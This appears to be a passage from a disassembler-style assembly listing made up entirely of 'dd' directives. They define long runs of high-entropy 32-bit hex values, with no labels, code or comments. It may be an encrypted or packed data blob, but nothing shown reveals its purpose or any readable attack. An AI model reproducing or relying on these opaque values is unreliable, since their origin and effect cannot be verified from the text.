		dd 9996CFDh, 4C424BBDh,	2091EFB8h, 1126CD2Ch, 75B67200h
		dd 5BDEE90Bh, 169DB353h, 31AF432Ah, 2E63B1FDh, 0B77BAFDDh
		dd 19F2767h, 0D0F79617h, 54C14ECCh, 0FA8A3E6h, 8156B32Fh
		dd 344070C0h, 0BD04551Dh, 23DB715Eh, 2D4F46B0h,	80091EE9h
		dd 2B00BA52h, 5F1EA71h,	4AC120D1h, 2D9844Ah, 0B9DBE907h
		dd 6042F155h, 29416852h, 32A898BFh, 0D01FC951h,	0C56DE0F5h
		dd 0B0501C06h, 58203B88h, 22063A67h, 279026CCh,	0BD0BAFE9h
		dd 9E973C7Fh, 0F25488B3h, 0F72FBB24h, 0FD019F82h, 0EB12D675h
		dd 0D749C259h, 4A39C473h, 27E91D9Ch, 8CD11FF1h,	497A864Fh
		dd 8ABA2D78h, 742432FCh, 13EF1F35h, 4D44EF8Bh, 310794B6h
		dd 8DA26D3h, 0E84AABF6h, 454E2DFAh, 0C194FA7Bh,	5C772B80h
		dd 0E5574BD6h, 58080328h, 78E1248h, 688A4828h, 659E2F0h
		dd 0E934132Dh, 5E65806Eh, 0F34B295Dh, 3F7439FEh, 0B61633BCh
		dd 0F37AB23h, 5917B092h, 94EBA03Dh, 3AF18284h, 48E13B51h
		dd 0C0632C55h, 5DDE1D0Ah, 94A625E9h, 8AA82745h,	23281202h
		dd 0C2F50106h, 0E9080271h, 2C36F80Ch, 2D26FE29h, 2C5F27E9h
		dd 9BB44009h, 1A395813h, 5D80CD01h, 0E7746DC8h,	7E002C9h
		dd 0E7E92BB2h, 0B360AE6Ah, 0FAF8B725h, 0E10FF6BDh, 3BD3C4E9h
		dd 0F54CDAA2h, 1A097904h, 19D4AF14h, 0A26A07AAh, 9F02C972h
		dd 0F4A056FBh, 0D8685AD6h, 0C5566CFBh, 0B2EB3DFEh, 0E554CF79h
		dd 74FECF45h, 62DDDCBBh, 53013C94h, 411BBB66h, 5F17BFD0h
		dd 62C8A026h, 849F617Dh, 0BAB009FEh, 3F2D1EBDh,	0EA93FC4Fh
		dd 307B055Dh, 39D92025h, 84AF45Bh, 0F6B32E5h, 6465D411h
		dd 0BEBB853Ah, 5C28C7DFh, 0A52262F7h, 5F0FDABFh, 0DB42B966h
		dd 42FC5DB1h, 7D0B49E2h, 0BAF0CD24h, 0F5E6009h,	7E31C390h
		dd 0E2BB8DFFh, 5DE9A0A8h, 0CF1FC038h, 3C0127A6h, 0C7A800B7h
		dd 0FB2AC19Bh, 40CAA12Bh, 5AC0ED13h, 46849D50h,	0EE812A91h
		dd 7BD85368h, 0D15EF300h, 4BF0E34Eh, 0FD732FE9h, 0F79595C4h
		dd 0B2526020h, 0F22C8030h, 0E817E186h, 2283A0Bh, 0DF089FEAh
		dd 0D9EF93E0h, 51CFFE09h, 0C17A83B1h, 0D63A2521h, 53079E54h
		dd 0F90305B7h, 4684845Bh, 73F13EEh, 25762C96h, 0A9DD0462h
		dd 36AF130Dh, 0BB010CE0h, 0E965B921h, 0A88E5F8Ch, 0C4968ADh
		dd 600A34C6h, 9455AB27h, 11465F02h, 0FDE05719h,	0ACCE7D1h
		dd 0C2014E06h, 38EDE95Bh, 6229D455h, 0DF463750h, 749F3490h
		dd 0E425BB53h, 647A80A7h, 0E8E581E1h, 6BB66F5Dh, 924B5648h
		dd 51D81E71h, 42289EB7h, 0B5FC4BEBh, 2D98E9A1h,	22A04B8Ch
		dd 74845B9Eh, 0F961BA1Eh, 0DD8C176Ah, 0EB2D82FDh, 717E460Eh
		dd 7ACBC033h, 0C070F037h, 0A54F6188h, 0DB5BF718h, 0D2A09A80h
		dd 0B8DC4824h, 9D614101h, 687DE913h, 1A5B3B57h,	0D05978E0h
		dd 7F751C81h, 2A4AAE4Ah, 58542D79h, 988B3EDFh, 3AF33CDDh
		dd 0CC521694h, 71049F00h, 3E6DBA64h, 7472552Fh,	66208857h
		dd 701DFE27h, 0ECB55A09h, 1D56274Eh, 0CA7E9ABAh, 890E3C50h
		dd 7A3D6873h, 320DA52Fh, 80028EBBh, 0F71A6631h,	310BB8D2h
		dd 0EC31E6E4h, 0BDF72A65h, 0BE7D744Ah, 0E84665D9h, 226712FCh
		dd 5FC7BA9Eh, 50B7CD37h, 0C23824FDh, 0F818099Eh, 0E09CC84Eh
		dd 40986806h, 74CA20C3h, 6E12BE02h, 0FD4E712Eh,	64698FE8h
		dd 0DA283C3Ch, 84E95531h, 525C166Ah, 92A3F2EDh,	0F5E6B094h
		dd 255C158Eh, 0BF2A6C75h, 0E804784h, 5E29C657h,	41ED06C3h
		dd 0C1C0458h, 70BF49Dh,	73F3BB53h, 51E7479Ah, 0EEF51886h
		dd 4231755Eh, 5C00A1F2h, 0C879AF0Fh, 0EC27792Fh, 2C2A1DCh
		dd 2D7BA141h, 0AF546407h, 0C2A467EDh, 105F096h,	6968CB02h
		dd 0FEBCC2Ah, 589C10E2h, 0F49208E4h, 0A64AF98Ah, 0CDC023FFh
		dd 1118E98h, 0C417C46h,	92BB0805h, 7FC25F06h, 58EB837Bh
		dd 0CA4899AEh, 34DC2DE9h, 21C7B0AFh, 0E913C5D9h, 5BBCB8EBh
		dd 294D390Fh, 2FF15CA7h, 9B4A0EC5h, 0D9967549h,	578AF825h
		dd 0D09AC4Dh, 0A7B8DD1Fh, 2D3FC801h, 5F4B0B5Eh,	0F7967F59h
		dd 0C8DEC32Dh, 2C122DF1h, 134D1C7Ch, 0DD6E85C4h, 4D352B8Ch
		dd 0D7101E82h, 557C9C4Eh, 76111F2Dh, 179E7882h,	0F515C80h
		dd 0D7885350h, 1020D26Bh, 6D67A1BFh, 3BA0025Ah,	0CD3A441Ch
		dd 0BB5C2302h, 0D7D5F759h, 0C307BD9h, 4846A81Dh, 0C1445BAFh
		dd 18EA0968h, 0B0D74091h, 9A26A5F6h, 5FEEECFDh,	9B67ABEAh
		dd 0A71E67B2h, 6F72C38Ah, 0F7E8C8D7h, 667AF55Eh, 0F29835DEh
		dd 0CFEA76D7h, 3EDC5A2Bh, 519325E9h, 0B9814BE4h, 0FC293E8Fh
		dd 0F2D9097Bh, 3039DAD0h, 0ACCB3CD9h, 0F7A70E2Bh, 682568B4h
		dd 0BD1EF009h, 0C472EED4h, 81E65B9Bh, 70ABB826h, 70B74C21h
		dd 0C5A34A02h, 551398A5h, 2CF7680Bh, 58E58C9Ch,	73549F50h
		dd 0F5D720D2h, 15C7EF7Eh, 9645E99Eh, 6995014Fh,	7F733022h
		dd 3F07DF10h, 7F06ACE9h, 12EF5E97h, 394F1B9Ch, 3995BEFDh
		dd 1BE5DE01h, 0AA421E33h, 5D806826h, 0C552C75Fh, 250C43CFh
		dd 729FF1F9h, 3EAB1A11h, 7FE5FFDBh, 0B2BE5D13h,	0B9688D0Ah
		dd 0E91B003Bh, 3AD33F78h, 14980A90h, 8AF20882h,	0B1133332h
		dd 2F50D5C3h, 22B05AD3h, 0A989BF3Fh, 0DFCB3079h, 8B16C65h
		dd 0FE2E74E9h, 40C49362h, 0BFC8A9DAh, 0E8F596BAh, 82D55A8Dh
		dd 0BE328C57h, 0A72E1B16h, 0BE41F048h, 9B492F08h, 5F19F71Dh
		dd 3FFF3154h, 0FC885303h, 58E5995Bh, 34698B6Bh,	0C3BFF90Eh
		dd 5E074161h, 15035E35h, 8385F161h, 4FE9ACECh, 0EF27D182h
		dd 0D5B1E480h, 0E8ED314Eh, 57250200h, 0D2DB265h, 0A467331Dh
		dd 489735C1h, 522431C9h, 96816549h, 96B40358h, 0C2D7AD4Fh
		dd 827E0F0Ch, 15313540h, 7A1D5CEDh, 0C042481Fh,	57F68140h
		dd 0C1E25821h, 4E05E618h, 122EC14h, 0F0310F28h,	64CB9BE9h
		dd 6AEF8384h, 914AC3DAh, 53F5D170h, 59B9E3EDh, 56E5AF17h
		dd 0CD07050Eh, 7AE9FD21h, 880A5Dh, 44685155h, 976F5E5Dh
		dd 57FC4740h, 4B72BD02h, 554DF3E9h, 7DF23D76h, 0BB4B6572h
		dd 0BFC210AFh, 517B2105h, 9CD4BB14h, 0DE52081Dh, 83ADE780h
		dd 920707Fh, 82EB840Fh
		dd 7797EF51h, 5B5D90F0h, 106CB659h, 520B1061h, 1EDF5A54h
		dd 8729171h, 0BF0B1BBAh, 32488E44h, 6CE7A9C0h, 41BB252Eh
		dd 68E2C87Dh, 50770778h, 4135587Eh, 7E5B5463h, 27E985E0h
		dd 99D49FAAh, 8165DE9h,	552E7425h, 6EC2F8C9h, 213E47DDh
		dd 6E102EB1h, 0BA9474h,	435026BCh, 0DE09BD74h, 0EE8BBCAFh
		dd 89A2A3FBh, 0A27BA839h, 5721276Bh, 38C16A00h,	62BD523Bh
		dd 5CBAFD68h, 55A200D7h, 5A12E952h, 58315F96h, 0BFB8BB6Bh
		dd 6BE2186Fh, 0FF27E2EFh, 0A3F40E1Ah, 7608D92Ch, 11880BE5h
		dd 3210C755h, 310A6426h, 0A7668103h, 8EA4D97Eh,	0C916A33Fh
		dd 1596F758h, 3D96DF9Dh, 9D6EDA98h, 0C790CCA5h,	0E25B5C66h
		dd 3ADDBF27h, 620E5C16h, 0B108376Fh, 0CAC9A3Bh,	6BE7F80Fh
		dd 0B2AE4FA4h, 0E4189880h, 354B3F68h, 0D7F13E32h, 5E4CA4CEh
		dd 0E5BD304Dh, 289E5FEEh, 12F1133Eh, 0AE3F7714h, 0F58012C5h
		dd 132A5AA4h, 10F30115h, 0C68082Ch, 685E0217h, 0EED64FC5h
		dd 0AC44045Bh, 84305723h, 0D585FE6Ah, 3E51D9AFh, 0E9B0D4F9h
		dd 619939C9h, 0AD2CB3A6h, 88B82112h, 895DE2A2h,	7316DDF4h
		dd 62BD54FEh, 63FC55C5h, 702954FAh, 4A6729E9h, 0D472F943h
		dd 9B14D56Eh, 0E2996825h, 726456ECh, 308A0177h,	0CEF06940h
		dd 87152FA7h, 910256FEh, 401D8F50h, 83D0AF62h, 11FE9E07h
		dd 9FB41B46h, 0A9AE16AFh, 5E15A27Fh, 0E5D92F2Ch, 0B6E5D8CBh
		dd 0C327732Ah, 3724525Eh, 532AB70Ch, 0A4B1962h,	0E96F6CAAh
		dd 0FF194E25h, 91DA7D33h, 2D07CD70h, 32F03A63h,	0A44DB6A2h
		dd 0EA1A8343h, 1C71D85Dh, 0ACDA0159h, 3D6C08E8h, 4B686602h
		dd 0C410D536h, 5B817BF0h, 0FA4C5DC6h, 4EF7C706h, 130C0C1Eh
		dd 14243A3h, 6BE9CF32h,	3FB26A2Ah, 6924FB92h, 22FCE0A1h
		dd 55D53F4Fh, 4CE77CADh, 18D5E903h, 7DFE8DFFh, 25EF3B7Bh
		dd 0BDB2ABF0h, 26F829B1h, 0DE9172Dh, 971546B1h,	9251A3EBh
		dd 1226F2AEh, 0BAB230C3h, 0C416FC4Bh, 5C0973CAh, 200416F7h
		dd 3503EE9Dh, 3B2F7D53h, 363DD948h, 50CC912Eh, 0CB8004AEh
		dd 31131Bh, 6C0D487Dh, 2D15F40Fh, 9A2A960Eh, 8BFA154h
		dd 0FB441C77h, 9D5E3AA0h, 25EAD57Ch, 5258E2h, 9F79F4BFh
		dd 0EFC1051Ch, 52F75E5h, 0BC376821h, 41F02C17h,	2CFE2E07h
		dd 0B6500F3Bh, 0FE44DAD8h, 28F4EAF7h, 0A1B54B26h, 277B120Bh
		dd 0F7566126h, 40996848h, 29F5F07h, 93907F6Fh, 346E88FBh
		dd 9C7A9D1Ch, 16600882h, 7E15A8E2h, 9D721EBh, 0F6DE55DCh
		dd 76C18CC1h, 0CC766A2h, 67A45688h, 8ECA44A1h, 699EE608h
		dd 0E3801F6Eh, 0CB7BFE15h, 0C080C17Fh, 0D1292DB2h, 160836D0h
		dd 0F0545D5Ah, 0DA0530A0h, 3D25EFBBh, 341561B6h, 0B4EBE5Dh
		dd 665F580Fh, 5DB6BF6Bh, 9DBBF797h, 0BFF2F8C2h,	0F337A0C3h
		dd 40C9B006h, 72B36408h, 0B82A90FEh, 162C208Bh,	1F023912h
		dd 75666D70h, 0FEE596E9h, 0F0DBD00h, 247C7A77h,	423CF48Fh
		dd 3D5A3234h, 13ADEB01h, 0C23115C0h, 0C1263F30h, 6C59C7A1h
		dd 0EDD720B6h, 9A90F2B5h, 9C6335A6h, 27CBAD4Eh,	0A8767BCBh
		dd 37E3004Eh, 0F38140D6h, 0C72F3DEFh, 2D02DE71h, 2F5847FCh
		dd 0B7E8766Fh, 17A23B0Bh, 5B05CE90h, 0FAE4D4B1h, 0F593A88Ch
		dd 29BE69Eh, 293B0567h,	87D73B7h, 30310742h, 590157F3h
		dd 18E87A56h, 0A2BE3C13h, 0ABCD70Ch, 0A6A881F5h, 55BB0119h
		dd 0DC4CC0FCh, 0D54D05D8h, 1489FA4Eh, 907D527Eh, 72BBBDB2h
		dd 0B2C05E7Bh, 4F825184h, 0E9ED3ED1h, 824C71A7h, 205B7323h
		dd 214941DDh, 0B01520E6h, 2ED45F13h, 1F1F23F0h,	0D8E96973h
		dd 35B3D3C6h, 0B170FEF1h, 82685109h, 6920D23Ah,	695D7193h
		dd 75C6163Ch, 0BBC01A94h, 6B6605C8h, 8FF2FE9h, 0DFF80114h
		dd 0D6277E9Ch, 0EC55C5E9h, 7A41B7FDh, 0C14235E7h, 128F69Fh
		dd 3B04D42Ch, 26F8EE59h, 12E8185Ah, 0BE26E982h,	9D66355Ch
		dd 543066CDh, 0DDF0632h, 0FD414889h, 79B78B1Ch,	78962C89h
		dd 0CD9E08E9h, 5F3442A7h, 665DE2EAh, 22E92FB7h,	0D455A8E2h
		dd 0C377507Dh, 96F9EEB7h, 0AC561675h, 2B4CCB3Ah, 0EBADDE1Bh
		dd 800C36Ah, 61D41D01h,	219D7C84h, 8C0268D8h, 0D772C429h
		dd 0E9864671h, 660FBCCh, 0F68094B6h, 677606F9h,	4F0EE38h
		dd 1E6DE9F3h, 0B78CAAAh, 8231B551h, 529CE11h, 99B5EA0Ch
		dd 0C2BEE23Ah, 0E528AAE9h, 90561442h, 442D681Eh, 0C0CE8969h
		dd 45EBF635h, 4E016B3Eh, 929FDE4h, 0D7F7E9F0h, 68862C5Bh
		dd 2E65236Bh, 439DEB96h, 0B1EBB5CFh, 683608D9h,	0AC2EB993h
		dd 93E9A35Ch, 55DBE7AFh, 2D601845h, 134F486Dh, 0F897E910h
		dd 0DB2C4BB1h, 0D8F4953Ch, 0F8215F41h, 4B56D148h, 78BFF54h
		dd 84CEB897h, 0B500A09Ch, 68D5F614h, 0B4A3575Fh, 0E9F5B702h
		dd 0F064DE54h, 0A2517720h, 0DF07566h, 4402E600h, 0D3E93638h
		dd 0DAD9951Ah, 0D878C9CFh, 877ABF13h, 2DE46F09h, 2FDB76B6h
		dd 51BD0596h, 0E95560B4h, 43B217D8h, 0CC686509h, 80F4F643h
		dd 641B42E5h, 9120E90Ah, 0DBB31750h, 0DACE00B2h, 74EA805Bh
		dd 854B1AFEh, 68EA38EAh, 9790D12h, 0BB8F400h, 0B2108AEh
		dd 532AE9DDh, 5B0CC6C8h, 314AF813h, 76C304ABh, 45F097Eh
		dd 0FCEBC3EAh, 32386EBh, 0A53A4A63h, 3CCA6FF6h,	0D9F4112Dh
		dd 6EDBE96Bh, 0E9C33C7Ch, 0BB042D72h, 777EACC9h, 590723F8h
		dd 19497578h, 4CE4D5h, 9307AAF1h, 741D6843h, 0CA7A98B5h
		dd 99B025E9h, 97601AF4h, 9E2F0878h, 6D68838h, 93E8C10Fh
		dd 67C1DDE2h, 701FA675h, 210982Eh, 570E5EAEh, 8478AF66h
		dd 0F402464Bh, 83D9F76Ah, 67A3E1C1h, 580E106Ch,	65734F68h
		dd 1344F2E8h, 8652229Eh, 0AC6001FFh, 7F50CB3Bh,	0C85A928Bh
		dd 5B2BDE95h, 5D02B155h, 0F13AC968h, 25252E34h,	0EEC5085Dh
		dd 76E07D15h, 2A45DA34h, 0B13044FFh, 1DB90012h,	95774E5Eh
		dd 0FE49617Ah, 0A3A25E79h, 8AC791E5h, 0ED6800A0h, 0C149AB28h
		dd 637F0685h, 12D856D9h, 4B0BCF03h, 0E164E95Eh,	2B20ADB1h
		dd 79095F9h, 0DB55650h,	5FF50681h, 11D4E03Ch, 0B03ABB00h
		dd 0FEDEE943h, 68B1DE95h, 0E93D9AF7h, 90776357h, 45751D8h
		dd 0C9623FBFh, 178AC08h, 31687105h, 9FF9E9D7h, 0A40FF53Dh
		dd 44979D27h, 0CF746357h, 3AAC4A66h, 2871058Ch,	8058E701h
		dd 0EFD0C4C7h, 974FF7D4h, 0AC5718DFh, 685C8015h, 0D13F2026h
		dd 0E97E0269h, 42078CEh, 0EA6CB1BFh, 3FC6BF1Bh,	2A8B9D1Ah
		dd 182CCDDDh, 1BBD8BB0h, 46450912h, 0C7AD3700h,	4AE9DE3Dh
		dd 0F35AC5F6h, 0C4E1D733h, 6BE9A811h, 0AF4F9168h, 0B4899B2Dh
		dd 9BFDD668h, 1554C08Ch, 0CF194A90h, 2FE93800h,	40F3F10Ah
		dd 202ACFF2h, 0E9563609h, 2764547Ah, 48D29174h,	83950E23h
		dd 41B93293h, 9A317211h, 2665DF80h, 5B115625h, 6BAB68DBh
		dd 9A2A724h, 5A8F78A5h,	0C517D0D0h, 622E7743h, 0D22C7761h
		dd 98BB4BBEh, 3041ED0Ch, 0B55553E4h, 5875ACE0h,	8984085Ah
		dd 9D8864F0h, 0FDFBC04Ch, 0E3CA6B2Fh, 0C021C5Eh, 4D8E58E3h
		dd 19AE3ED3h, 6F3434DCh, 315B11A7h, 6AE1F605h, 23308D30h
		dd 84335FE9h, 38F7EB69h, 109D247Eh, 6F5F8223h, 62D70BACh
		dd 0D0898B9Dh, 1007DA00h, 3A5965C0h, 51E1C94Ah,	5A08568h
		dd 3EFF753Ch, 52614991h, 3A51893Bh, 353074EAh, 7EF7AB7Eh
		dd 0E9655430h, 4D9B085Eh, 44844C30h, 0E6E48ECh,	0EF571C32h
		dd 3A101661h, 5F678461h
		dd 0DBC6C104h, 405A02E1h, 41F65BDFh, 872E30DFh,	4C41A641h
		dd 742B79B2h, 9BD9BF62h, 0C5E9E32Eh, 5BA575C1h,	2FCFE82Bh
		dd 915E05Ah, 0B86BF377h, 2BF4E576h, 959BBA82h, 30CB9FFBh
		dd 5A4DE9E6h, 0B94C88D0h, 0C814EE09h, 0BAAF22Dh, 4ECC5D50h
		dd 0E9E381DFh, 0BB2AF360h, 0B06EC367h, 39A96802h, 0ED73809h
		dd 6A0B824Fh, 4E83557Eh, 8E002487h, 5351CBFEh, 2880B8B7h
		dd 2DA663CFh, 765AEBE9h, 819A045Bh, 44ACCA4Eh, 0D3446F44h
		dd 64694A42h, 2738A66Dh, 27655FCEh, 6F980320h, 0DAD3683Ch
		dd 1DA456A8h, 5F7F509Ah, 11FF54FAh, 27A7AB10h, 17B5EC5Bh
		dd 0CB8702C1h, 4FE71372h, 0E4223064h, 27B8D457h, 0EB6F6379h
		dd 506D8AEh, 4E7C15BAh,	5AECB870h, 5E183EC1h, 301BB200h
		dd 94EAC24Eh, 5110C28Eh, 2248ECDFh, 4A80FC2Fh, 669522D1h
		dd 0F9E35F0Ch, 0ACB25A2Eh, 167FE5C2h, 91462320h, 57D8D671h
		dd 3313EFB6h, 6B7D0BABh, 2006A6B0h, 0E95BFE06h,	0B22C6FBCh
		dd 585FF066h, 0A38140A7h, 6134B46Ch, 1395E33Ah,	82B7E908h
		dd 74C719E9h, 0C408BB4h, 0DFA17F6Eh, 0BCAB1444h, 0E32D8F7h
		dd 0D1CC0F6h, 4AD95A5Fh, 0B2D73500h, 0C601DCB4h, 7D592FE9h
		dd 0ED197714h, 0C70D301Ch, 133BE87Eh, 23F0D5E9h, 1C6F2D21h
		dd 56BC18D5h, 0C54BC95Bh, 7DA103DAh, 17743A89h,	0F67EC822h
		dd 4F712765h, 8548E66Fh, 0CBF29D1Eh, 26970D04h,	78833F86h
		dd 282A81B7h, 9F61B43Bh, 8E6E3941h, 0CCE90961h,	8F3A77A7h
		dd 33ED8975h, 30D37C8Ch, 0BA2244A9h, 862F7387h,	88AA5E17h
		dd 8909773Dh, 4B3AD1E8h, 83AB6AD5h, 321AD49Bh, 263AFBD7h
		dd 54BD98DDh, 0B34B2CFh, 0C70E9E9Dh, 40896B5Eh,	0C512FCF5h
		dd 2774ED0Ah, 586156DFh, 544F35E9h, 91A5FFFDh, 742B918h
		dd 0EF593E40h, 88681278h, 0A45F3431h, 0E939833Ah, 698614FFh
		dd 0D08CDEDFh, 5FEB89C8h, 84FB445Dh, 7D1D12A6h,	0E202ECCh
		dd 146F9758h, 0EB3E90Bh, 46A6329Ch, 0CC220113h,	0FE4BC6EAh
		dd 51C4E7BCh, 1BFC12ABh, 25DF3D0Dh, 0B3190h, 45C9E908h
		dd 1C25989Ah, 58F5FE77h, 0A209B850h, 2DA645h, 59BA620Bh
		dd 16F5EED2h, 0EA3B7D6Eh, 2707B710h, 507D765Eh,	6295A6E9h
		dd 0C139F3C3h, 7C36D3E9h, 26528F14h, 7C9A168h, 0BF937BF6h
		dd 3C43B2EEh, 13E09455h, 0EBFF0F4Bh, 31C550A6h,	5015D8C3h
		dd 0DCF16825h, 9B92997h, 93A42CE5h, 55799729h, 0D9C8BE5Eh
		dd 0E186470h, 7F61046Ch, 1350A8C8h, 288C77E9h, 0AF256816h
		dd 524B186Ah, 4665D249h, 18B55144h, 397E1B2Eh, 77C22C42h
		dd 27AFF66h, 0D825FC26h, 0E5EE8189h, 93729CFh, 47DF1C35h
		dd 5B04203Bh, 84EEFC66h, 80070BB5h, 0E4C0C2F4h,	0C078E355h
		dd 2D68D3CCh, 49595323h, 27B03897h, 0FE513766h,	0EA595414h
		dd 30637FD0h, 783998CCh, 53FB95B4h, 0A61678A4h,	0A1585788h
		dd 0E6076390h, 4CF52BEAh, 29416BEDh, 6AC7B16Bh,	833EDFD9h
		dd 0E39B53EBh, 585BDAA8h, 0B80F6BF3h, 0AECACF52h, 9183F2D7h
		dd 34E99059h, 0D21EB7A7h, 94202E90h, 60B8004Eh,	0BA7DC665h
		dd 6E3F0A47h, 68799296h, 5A81E6BAh, 0C051E74Fh,	399E4AA6h
		dd 97CBF459h, 90B7766Eh, 9373A130h, 7E7D0AE2h, 1E034EDAh
		dd 0C025E77h, 9D4723Bh,	66457F5Fh, 0C6A40E2Ch, 834A4710h
		dd 54EF6940h, 20CAEE46h, 75C4BA4Ah, 0B324111Fh,	0FB2D0C09h
		dd 0BCBBA01Ch, 9A5527A6h, 0CC16D5AEh, 5B971C84h, 0C1810020h
		dd 582F483Dh, 8292895h,	0C95AF62Fh, 0CAFB1BDFh,	33C744C3h
		dd 0F587DF15h, 6B364CB9h, 0FF4ECCF2h, 8AFBA885h, 8B84602Dh
		dd 266BAF64h, 0A5B74EE9h, 963E57Fh, 0AED17EFBh,	28D9B188h
		dd 606E20E6h, 943A5D48h, 53B10B78h, 859AF328h, 0FBA7EB80h
		dd 628C3884h, 8680356h,	5E1BE767h, 50D559FFh, 245697C5h
		dd 0B7E5F258h, 339C1E6Eh, 0F22E3F09h, 487A25FEh, 5C9284CDh
		dd 16AA2FFFh, 0BAF34C7Ch, 17BDB9D3h, 3CAEBF3Ch,	3D5A2E84h
		dd 98C1E9C8h, 2300950Ah, 531BEE18h, 4377BB02h, 7D21732Ch
		dd 0DDC40F56h, 0B09314A0h, 0B8355AE8h, 581EC5C7h, 0FE5E56B3h
		dd 0B5EFA012h, 0F614285Fh, 2DD50F74h, 0F3805613h, 7C317149h
		dd 980986B0h, 412A225Ch, 5C2C8B96h, 3CDD8A5Ah, 0F0904ACBh
		dd 124DAEC7h, 0F901C0E3h, 6B68C2FDh, 0C386A416h, 9BD3FB0h
		dd 0ABA52EFh, 151C81FDh, 0A2803594h, 26827710h,	194B5AE9h
		dd 8197DCF9h, 2C6468Fh,	44E47D5Ch, 0B3BE682Ah, 6350E913h
		dd 1BD2D450h, 0BDBA2887h, 8AD2851Dh, 0C309B2ABh, 5E2DEDE9h
		dd 5046BFD1h, 0B0D48307h, 0EEAF4A17h, 54F1FA29h, 0F6CBFE00h
		dd 325BD379h, 3C772D14h, 9D851640h, 3A0A79EAh, 0EB9247ADh
		dd 93414FF2h, 0E993D12Bh, 3BC0784Ah, 0D2481DACh, 0D55DA5BBh
		dd 0F1F600B8h, 3121E917h, 0AF9A65AEh, 0E90B6DDAh, 38E7DD9Ch
		dd 0B1AC1496h, 0BB384h,	3F967305h, 927BBCE0h, 0EA02841Bh
		dd 582002A1h, 0B35300A5h, 51BB0D30h, 2D005D33h,	446B137Ah
		dd 0F6283548h, 0D209711Bh, 80776444h, 2361B650h, 6C912C5Eh
		dd 629E4643h, 0C7E2725Ah, 0C5D6C078h, 8A357CAEh, 77D8D6AAh
		dd 5B941A4Dh, 623F49B0h, 62C30A50h, 37324155h, 0BB4B0F29h
		dd 4F05E312h, 0C1B92F52h, 9CC1AED7h, 0EC2B5AD3h, 3847C96Ch
		dd 2D39ADD1h, 0FC541991h, 13F27749h, 2309EC9Ch,	0E8EEEEFh
		dd 5A6DED80h, 0CD0C587h, 144F8128h, 629FA844h, 2D715D09h
		dd 0C997CC4Ch, 9250290Dh, 1D1853F2h, 840C1A04h,	0A04EF040h
		dd 0D0E7999h, 0F1294765h, 1C08061Ch, 20801484h,	3B0555Eh
		dd 25C554B7h, 0AED9B85Dh, 66A995EBh, 0B1A6A55Ch, 57C28832h
		dd 0DE04B4A9h, 6B0DF5DFh, 0EFEC0894h, 0D6A9B24Ah, 5824DF9Ah
		dd 9BFECC84h, 36F8144Fh, 289468C0h, 0BDFC27F7h,	0D1FD429Fh
		dd 4020BCFFh, 5563BF01h, 0EFD1136Fh, 16BC4720h,	0E451A776h
		dd 7E161BE7h, 0D01284Bh, 6E993560h, 9070D02Fh, 4C606147h
		dd 1998D80Ch, 0D0314F16h, 0CDE72FB0h, 0CBF33C4Fh, 362AF4Bh
		dd 59BBC936h, 0A47ABC2Ah, 69B9E4AEh, 160D0640h,	946432h
		dd 0E04C2313h, 0C709311Dh, 5534CFE9h, 0DD5A2344h, 0B6BA9685h
		dd 5E4DC4AEh, 0D715FB1Ch, 0E14ACF84h, 0C2BC3E97h, 41A7FE40h
		dd 80B03FADh, 4C5975C8h, 0FAE435C5h, 6816EFE2h,	0E9D7432Dh
		dd 427A6C17h, 15C5C97Bh, 1DE4148Eh, 4EB55CAFh, 2958C6A1h
		dd 2EEBD3EAh, 0DBE90B57h, 205A52EEh, 52171DF8h,	0A9E8A0B2h
		dd 0A957BF8Bh, 0E98DF86h, 0C0827DD9h, 2C4AF249h, 136B60ADh
		dd 0EF4360D8h, 7A277DF1h, 0D908DF78h, 9D542508h, 0E9BB225Ah
		dd 3637055h, 14F1055Fh,	0B2D91ACEh, 0A6EB0440h,	0E0DF2706h
		dd 0E47C351Eh, 2D081D64h, 51BDBD39h, 8457CE00h,	8982E942h
		dd 0BC22F99Fh, 4823AAAEh, 47F612C7h, 0B16630Ah,	8B38E5DFh
		dd 0AD512B27h, 65095297h, 0B57AFA44h, 0DD2A3BFEh, 0D0CA71B7h
		dd 3B4EABE9h, 413E7CE6h, 327B99CAh, 395F7E3Ch, 0D32D80CFh
		dd 0BF576460h, 0B2723C0Fh, 24916977h, 13AE5A31h, 0E00FBC24h
		dd 874826h, 68514D11h, 6A9621ABh, 24F7E913h, 0C76AA19Dh
		dd 4B9970C4h, 1380D309h, 0F1A8A8CBh, 44F8C15Eh,	6E64AA01h
		dd 8020CA5h, 41517F59h,	9F5F6E66h, 0E72D0E50h, 0B5AD2CEh
		dd 5BF988E0h, 89256ED4h, 3E79D628h, 0E6972F20h,	59BF2001h
		dd 0CD5FFD98h, 3BB79D55h, 2F375B8Bh, 314406F0h,	4F17081h
		dd 0C12C427Ah, 0B8A6C0E9h
		dd 2F3C9835h, 3F3A13FEh, 296843DCh, 0E2777A2h, 2CA170F8h
		dd 3CFBFEE9h, 25E5C6F5h, 0AA5F4E2Ah, 31682C28h,	6FB57D2Fh
		dd 78D42334h, 0B6150E24h, 0EADDD840h, 41DB9597h, 9CD56AFh
		dd 447746EFh, 7F2C2DDDh, 7DA58459h, 0D957A6B2h,	0D1F6A5A9h
		dd 0B5BF4FD0h, 81D1DEA4h, 7ADA3BBBh, 30C16434h,	0AC021C69h
		dd 20C25A74h, 6B7F745Dh, 0DE9D60A7h, 828BAB13h,	231A5459h
		dd 0F502798Eh, 560B068Bh, 759A2F9Fh, 2208D807h,	9C7D19B1h
		dd 98F79742h, 2DE9556Dh, 0AFA0F4FCh, 217F0779h,	37607690h
		dd 51B304C5h, 0AAF264B5h, 0F94C861h, 13BAC544h,	4DE776Ah
		dd 14BC264Fh, 76AD06A4h, 15A7D81h, 2969257h, 45AA2AE9h
		dd 0A81D8066h, 1F7D1C75h, 1A095E30h, 2468C328h,	62FC7AE0h
		dd 0CE616FB0h, 37612A7Eh, 0E77E6C83h, 0C5E982E9h, 0BD46E630h
		dd 0D362777Eh, 9FF0902h, 48EE5FE1h, 0B30EB42Ch,	0F52D0BCAh
		dd 89F3F88h, 0B20BEEC9h, 0E23A4022h, 8961E706h,	30435489h
		dd 38B6655Fh, 0E77ED832h, 9482AD04h, 0BA064CBh,	26F84C91h
		dd 272078Dh, 294E5F08h,	3B3E5720h, 24B9D789h, 3ECFFECAh
		dd 89BDEB12h, 0DB443A24h, 0BB011B6Bh, 0A5450B2Fh, 0B918DD38h
		dd 6C3EEE81h, 0E91D8B1Ah, 0A08CDA9Eh, 80859A08h, 5B0BB235h
		dd 1E89C1F6h, 47C700F5h, 75FB5520h, 78E7E9F1h, 485748EAh
		dd 74855E4Fh, 0C466409Eh, 575D2933h, 0D6BB898Dh, 61E989E2h
